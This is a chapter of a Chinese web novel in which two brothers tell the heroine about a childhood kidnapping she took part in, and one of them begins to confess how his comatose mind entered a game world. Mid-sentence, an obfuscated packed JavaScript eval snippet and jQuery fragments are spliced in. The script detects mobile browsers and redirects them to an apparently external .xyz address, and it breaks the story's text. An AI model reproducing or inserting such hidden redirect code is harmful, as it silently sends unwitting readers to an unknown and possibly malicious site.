82. 私心

作品:《非传统种田

    俏妤途怀疑祝剩拿自己当乐子,她一点关于被绑架的记忆也没有,人会记下印象深刻的事情,可她想不起来。


    比起怀疑自己,她更怀疑祝剩,怕不是有什么说不得的病……


    “那我们最后是怎么逃出来的?”俏妤途又问。


    “没认错,你就是当年那个小女孩,至于你为什么不记得……”祝剩顿了顿,“记不记得都不重要,我只想说你和他很早之前就认识了,不过是一面之缘,他却很想再见到你。”


    绑架犯是和祝家两兄弟有过节的人,他们拿孩子的生命要挟祝家兄弟,自以为成功了,却万万想不到孩子身上有小型定位器。


    司机按下的紧急呼救没有转到警局或医院,而是直接传到祝家兄弟老大——祝剩爸爸手上。


    在界内摸爬滚打多年,没点手段坐不稳这个位置。


    很快,他们通过定位找到最终地点,祝家准备赎金前报警,警力出动期间匪徒的勒索电话打来了。


    为了争取救援时间,他们尽力拖延,毕竟对方有鱼死网破的心,怎么会轻易放过孩子。


    李猎几人也如预想中一样没有上当,随后便有了那通视频。


    半小时之内警方不能保证到达地点,施救的压力变大,祝家人一边派人准备赎金,一边配合警方要求安抚匪徒情绪,但救下孩子的希望依旧非常渺茫。


    “在我们家不能提起这件事,我妈和小古的妈妈当时吓坏了,只要提起来精神就不太好,我爸偷偷和我说的这些……”祝剩看着她,时光回溯到十六年前,他们也是这么面对面坐着,比现在距离远,比现在氛围差。


    不仅手脚被绑,身上也都挂着伤。


    当年的俏妤途语出惊人,在哄骗匪徒的路上一去不返,也正是如此,为警方营救他们争取了宝贵时间。


    “把她的嘴给我堵上。”李猎眉头拧成一团,他忍无可忍地掏了掏耳朵对手下兄弟说。


    “不要啊大哥哥,我能给你赚钱的!别拿地上那块布啊,换块干净…唔。”俏妤途用水汪汪的眼睛看着他。


    “呵呵,命都要没了,还在意这么多干什么?”一旁站着的男人笑话她。


    “大哥,这小妞看着挺水灵的,要不……把她送到老谢手里?”往俏妤途嘴里塞布的男人说。


    李猎沉默,小姑娘确实算上等货,可现在不是时候,蒋乔娜想先带几个人撤,他和几个兄弟留下看住“筹码”,直到祝家汇款后再走。


    “你现在送出去啊?出门让警察毙了你?”他拿起桌上的废纸壳朝提议的人砸过去,“什么都没有还敢出去,我看你是想死。”


    由于俏妤途的“胡闹”,耽搁了他们十几分钟。


    李猎先是用胶带缠住祝池古和祝剩的嘴,连接显示器拨打电话,对方接通后他问:“钱准备得怎么样?想好再回答,这娃娃的命在你们手里。”


    显示器重新对准俏妤途,脏兮兮的小脸上残留着泪痕,身上穿的衣服也有几处破损,光是看着便令人揪心。


    “孩子是无辜的,你们不就是想要钱吗?钱我们会给你,别动孩子们。我们家那两个孩子呢?”


    李猎没有挪动显示器,他缓步走到俏妤途身边,随后转身对着屏幕笑了笑:“你们会不会把我想得太好了?”


    “你干什么?把刀放下!”


    “李猎!”


    显示器那边传来惊叫,李猎拿着一把水果刀放在俏妤途脸颊旁,用刀身拍了拍她的脸:“别想着拖延时间,十分钟之内看不到钱,这小姑娘连同你们儿子,会一起去死。”


    对面的祝池古看到拧起眉,他视线瞥向屋外,有几个人在向一辆车走,里面有那个叫蒋齐莉的女人。


    他趁着李猎不注意,用全力向前一扑,在倒下的同时也看清了车牌号。


    院外亮着一盏灯,因为伤口一直没有处理也没吃饭,视野很模糊,虽然不能百分百确定,但他还是牢牢记下了。


    “唔唔!!!”祝剩看着摔倒的祝池古想叫人,却因为胶带缠着嘴发不出声。


    “什么声音?李猎,我儿子呢?让我看我儿子!”显示器里女人厉声道。


    俏妤途看到祝池古的小动作了,她睁大眼不明白他为什么这样做。


    李猎暗骂一声,随后走到祝池古跟前不解气地踹了他一脚,拍了拍他的脸咬牙警告:“给我老实点!”


    “我当时被他吓到了,以为他要死了,”别墅里,祝剩语气平淡,讲故事般叙述着十六年前的事,“他打小就比我聪明,每次考试都比我高,被绑架那天学校根本没有考试。年幼的他想用自己的方式提醒我爸和叔叔,我们距离家大概有多远……在现在看来很愚蠢的行为,在当年却很勇敢。”


    俏妤途沉默着,她不知道该说什么,听上去她们有一个很糟糕的童年,还差点被杀死。


    如果故事中的小女孩是自己,那她当时一定被夺舍了。


    她怎么会说那些话?她以前是这种性格吗?


    祝剩完全不在乎她什么反应,只专注讲着过去发生的事。


    约定的交易时限马上到,视频拨通,祝家人先开口问:“三个孩子呢?钱已经汇过去了,但金额太大只能分批次转,不然转不出去,你也不想看事情变得更麻烦吧?”


    李猎看着卡上陆续到的钱,加起来只有几十万,他把手机摔到显示器上怒吼:“你们耍老子?”


    殊不知此时仓库外几公里早被警方围得水泄不通,几名特警摸到附近,观察后向上级汇报情况,祝家那边也接到消息,安抚着李猎的情绪。


    “剩下的钱今晚过零点会打到你的账户,你也知道我们不会放弃孩子,答应你的事我们肯定会兑现。”


    “对,我们几个已经挪用各自的账户转钱给你了,只要不伤害孩子…”


    俏妤途脚腕很疼,她被抓之前扭到脚了。


    大半天没吃东西她饿得眼冒金星,看人都快重影了,她摇摇头,现在屋内只有李猎一个人,他在和显示器里的大人说话,双方的对话声能掩下她掏口袋的声音。


    她悄悄拿着刀割着绳子,好在绳子质量不好,她割得只剩一点的时候收了手。


    被发现就完蛋了。


    她抬眸跟祝家两兄弟对上视线,俏妤途下意识瞥向李猎,发现他没注意自己顿时松出一口气。


    她用口型说:别害怕,等我救你们。


    都说初生牛犊不怕虎,当时的俏妤途大概也是这样,野惯了。


    “大…大哥,外面好像有点不太对……”站在屋外观察的男人突然回来对李猎说。


    李猎收声,他眼中闪过狠厉,刚迈出去一步又有一个人闯进来:“大哥!条子来了!小参死了!”


    李猎一脚踹翻显示器,迅速回头架起两个祝家孩子要跑,俏妤途手上的绳子一挣就彻底断了,她连忙把脚上的绳子也割了。


    匪徒小弟看到她用刀割绳子下巴都快掉了,祝池古和祝剩也意识到什么,奋力挣扎着。


    李猎想带着他们从后门逃走,俏妤途虽然只有十岁,投飞镖还是挺准的。


    平时没父母管的小孩整天随心所欲,捡到什么玩什么,她把小刀当作飞镖,使出浑身劲朝着男人投过去,不用想,距离在变化,没有她理想中的结果。


    不过扎到了李猎的脚腕上。


    男人差点摔倒,特警冲进来将匪徒小弟制服,距离俏妤途最近的特警把她抱起送出门,出房子前她看到李猎推走其中一个男孩,转而用刀架在前不久摔倒的男孩身上。


    尖锐的刀在白炽灯下闪烁着寒冷的光芒,男孩眼中看不出什么情绪,察觉到她的视线看过去。


    “小古没事,我们获救了,他还提供了那女人用来逃跑的车牌号。”


    俏妤途觉得很空虚,她记不起来,祝剩所说的每一个画面她都不记得,比


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064534|165466||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起自己的过往她更像在看别人的故事。


    “警方很快抓到了李猎的同伙,他们被判了十几年,别担心,那些人不会再出来。”祝剩余光瞄了一眼祝池古接受治疗的房间,“我们想和你道谢,我家里的人也想见你一面,当时你住院…!”


    他的话戛然而止,因为一只修长的手突然出现他肩膀上。


    “祝剩。”祝池古来到他身后,手上的力道加大。


    “是你求我帮忙的啊!”祝剩为自己鸣不平。


    “闭嘴……”


    祝池古抿唇走到俏妤途身边坐下,他动作拘谨,好像怕对方不让他坐下似的。


    “你就是有病,”祝剩看不下去了,他站起身露出笑容,“弟妹,快跟我过来,他现在虚得很,追不上我们。”


    “祝剩!”祝池古刚打了一剂特效药,现在浑身无力还发冷,他没管身体状态下意识握住俏妤途的手,深邃的黑眸慢慢湿润,“别…别跟他走。”


    “你想憋着不说还不让我说了?”


    “咳咳……”


    俏妤途听着他们拌嘴轻叹一口声,边帮祝池古顺气边问:“到现在你还想瞒着我什么?我想听你亲口说。”


    “我……”


    祝剩手撑在沙发靠背上,等了一会也没听到后续,他索性开口:“有些事情,当事人是说不出口的,小古,你是最适合讲出过去的人,如果你不打算说,换我来…”


    “不,我会亲口说的,哥,你先出去吧。”祝池古打断他。


    有些事情只能当事人亲口说,即使再不愿面对,再没有勇气,再害怕说出口也要说。


    等祝剩走后,屋内只剩下两人。


    “等会儿再说吧,你先休息一下。”俏妤途全程都在看着他,那只握着她的手一直在抖。


    真相,是勾引好奇心的引线。她没有兄弟两人想得脆弱,不会因为一个“真相”怎样,事情既然发生了,就要去接受。


    在进入游戏世界前她的生活还算平静,过着普通人的每一天。


    吃饭、睡觉、工作,没有任何事能搅乱她的生活,直到进入游戏世界。听完祝剩讲的故事,俏妤途也没什么感觉,或许是丢了记忆的沉重性,它变得轻飘飘的,飘过心头,飘出灵魂,消失在不知名处。


    “别担心。”祝池古想起刚才祝剩的话,脸一热,面子全丢光了。


    “是吗?那你慢慢说。”


    祝池古记得他和祝剩出院时俏妤途已经不在医院了,他的父母告诉他,祝家去看过那个聪明的小女孩了,包了医药费和其余费用。


    小女孩的妈妈将她接回家,不用担心了。


    可他还是想带着祝剩一起去道谢,不想再见却是十六年后。


    二十四岁,他留学回来,路上却出了车祸变成植物人,直到出现在游戏世界恢复意识,第一眼便看到了他一直想见的人。


    “父母为了让我醒过来,尝试了很多方法,我的意识通过脑机接口被传输到游戏里,遇到了你……他们知道我一直很想再见到你,就想通过这样刺激我。”


    祝池古声音沙哑,他不安地用另一只手抓住俏妤途,害怕她讨厌自己,怕她会走。


    那段时间的意识和记忆都非常模糊,不知道自己在哪,不知道自己是谁。


    他漫无目的地走着,朦胧的谈话夹杂着医疗器械运作的声音一直伴随着他,像是掉入了梦魇。


    醒不过来,睁不开眼,可心里的不安焦躁却神奇地消失了。


    因某人产生的愉悦、难过、嫉妒和害怕,还有那熟悉的声音……很像他认识的一个人。


    他记起来了,记起了游戏世界的全部,知道意识抽离了身体,知道身处位面之外的人在操控着一切。


    祝池古是根源。


    明知该阻止,他却有了私心,明知是错的,却还是抵不住美好的诱惑。


    最终,他后悔了。